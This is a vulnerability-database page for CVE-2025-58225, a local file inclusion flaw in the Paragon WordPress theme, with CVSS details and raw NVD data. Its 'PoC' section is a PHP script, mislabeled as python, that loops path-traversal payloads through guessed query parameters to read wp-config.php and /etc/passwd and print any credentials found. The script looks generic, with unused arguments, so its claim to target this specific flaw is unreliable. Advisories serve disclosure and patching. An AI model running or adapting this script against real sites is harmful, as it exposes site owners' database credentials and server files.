Security Vulnerability Report
中文
CVE-2025-58225 CVSS 8.1 HIGH

CVE-2025-58225

Published: 2025-12-18 08:15:57
Last Modified: 2026-01-20 15:17:06

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Paragon paragon allows PHP Local File Inclusion.This issue affects Paragon: from n/a through <= 1.1.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:paragon:*:*:*:*:*:wordpress:*:* - VULNERABLE
Paragon 主题 <= 1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-58225 PoC - WordPress Paragon Theme Local File Inclusion * Affected: axiomthemes Paragon Theme <= 1.1 * CVSS: 8.1 (High) * * Usage: php poc.php [target_url] [victim_ip] * Example: php poc.php http://target.com 192.168.1.100 */ error_reporting(0); function exploitLFI($target, $targetIp) { echo "[*] CVE-2025-58225 Paragon Theme LFI Exploit\n"; echo "[*] Target: $target\n"; // Common vulnerable parameters in WordPress themes $vulnerableParams = [ 'template', 'theme', 'page', 'file', 'include', 'load', 'view' ]; // Files to attempt to read $targetFiles = [ '../../../../wp-config.php', '../../../wp-config.php', '../../wp-config.php', '../wp-config.php', '/etc/passwd', '/etc/hosts' ]; foreach ($vulnerableParams as $param) { foreach ($targetFiles as $file) { $url = $target . '/?' . $param . '=' . urlencode($file); echo "[*] Testing: $url\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); // Check for successful file inclusion if ($httpCode == 200 && (strpos($response, 'DB_NAME') !== false || strpos($response, 'root:') !== false || strpos($response, '<?php') !== false)) { echo "[!] VULNERABLE! Found: $file\n"; echo "[+] Response excerpt:\n" . substr($response, 0, 500) . "\n"; return true; } } } echo "[-] No vulnerable parameters found or target not affected\n"; return false; } // Main execution if ($argc < 2) { echo "Usage: php poc.php <target_url> [victim_ip]\n"; echo "Example: php poc.php http://vulnerable-site.com\n"; exit(1); } $target = rtrim($argv[1], '/'); $victimIp = isset($argv[2]) ? $argv[2] : gethostbyname(gethostname()); exploitLFI($target, $victimIp); echo "[*] Exploitation attempt completed.\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58225", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:56.707", "lastModified": "2026-01-20T15:17:05.633", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Paragon paragon allows PHP Local File Inclusion.This issue affects Paragon: from n/a through <= 1.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:paragon:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.1", "matchCriteriaId": "04A777D2-AA55-4923-A92F-038059045EBF"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/paragon/vulnerability/wordpress-paragon-theme-1-1-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}